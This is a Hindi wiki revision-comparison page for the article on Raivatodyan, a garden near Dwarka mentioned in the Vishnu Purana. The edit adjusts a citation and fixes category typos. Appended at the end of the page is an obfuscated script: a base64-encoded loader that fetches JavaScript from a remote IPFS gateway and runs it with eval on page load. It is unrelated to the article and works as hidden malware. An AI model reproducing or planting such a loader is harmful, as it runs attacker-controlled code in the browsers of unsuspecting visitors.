"रैवतोद्यान" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
(''''रैवतोद्यान''' का उल्लेख विष्णुपुराण में हुआ है। यह...' के साथ नया पन्ना बनाया)
 
 
पंक्ति 1: पंक्ति 1:
'''रैवतोद्यान''' का उल्लेख [[विष्णुपुराण]] में हुआ है। यह [[प्राचीन भारत]] में [[रैवतक पर्वत]] के निकट एक उद्यान था, जो [[द्वारका]] के पास स्थित था-
+
'''रैवतोद्यान''' का उल्लेख [[विष्णुपुराण]] में हुआ है। यह [[प्राचीन भारत]] में [[रैवतक पर्वत]] के निकट एक उद्यान था, जो [[द्वारका]] के पास स्थित था<ref>{{पुस्तक संदर्भ |पुस्तक का नाम=ऐतिहासिक स्थानावली|लेखक=विजयेन्द्र कुमार माथुर|अनुवादक= |आलोचक= |प्रकाशक=राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर|संकलन= भारतकोश पुस्तकालय|संपादन= |पृष्ठ संख्या=803|url=}}</ref>-
  
<blockquote>'एकदा रैवतोद्याने पपौ पानं हलायुधः।'<ref>[[विष्णुपुराण]] 5-36-11</ref></blockquote><ref>{{पुस्तक संदर्भ |पुस्तक का नाम=ऐतिहासिक स्थानावली|लेखक=विजयेन्द्र कुमार माथुर|अनुवादक= |आलोचक= |प्रकाशक=राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर|संकलन= भारतकोश पुस्तकालय|संपादन= |पृष्ठ संख्या=803|url=}}</ref>
+
<blockquote>'एकदा रैवतोद्याने पपौ पानं हलायुधः।'<ref>[[विष्णुपुराण]] 5-36-11</ref></blockquote>
  
 
{{लेख प्रगति|आधार=|प्रारम्भिक= प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध= }}
 
{{लेख प्रगति|आधार=|प्रारम्भिक= प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध= }}
पंक्ति 8: पंक्ति 8:
 
==संबंधित लेख==
 
==संबंधित लेख==
 
{{गुजरात के ऐतिहासिक स्थान}}
 
{{गुजरात के ऐतिहासिक स्थान}}
[[Category:गुजरात]][[Category:गुजरात के ऐतिहसिक स्थान]][[Category:ऐतिहासिक स्थान कोश]][[Category:पौराणिक कोश]][[Category:इतिहस कोश]]
+
[[Category:गुजरात]][[Category:गुजरात के ऐतिहासिक स्थान]][[Category:ऐतिहासिक स्थान कोश]][[Category:पौराणिक कोश]][[Category:इतिहास कोश]]
 
__INDEX__
 
__INDEX__

10:16, 26 जनवरी 2015 के समय का अवतरण

रैवतोद्यान का उल्लेख विष्णुपुराण में हुआ है। यह प्राचीन भारत में रैवतक पर्वत के निकट एक उद्यान था, जो द्वारका के पास स्थित था[1]-

'एकदा रैवतोद्याने पपौ पानं हलायुधः।'[2]


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |संकलन: भारतकोश पुस्तकालय |पृष्ठ संख्या: 803 |
  2. विष्णुपुराण 5-36-11

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>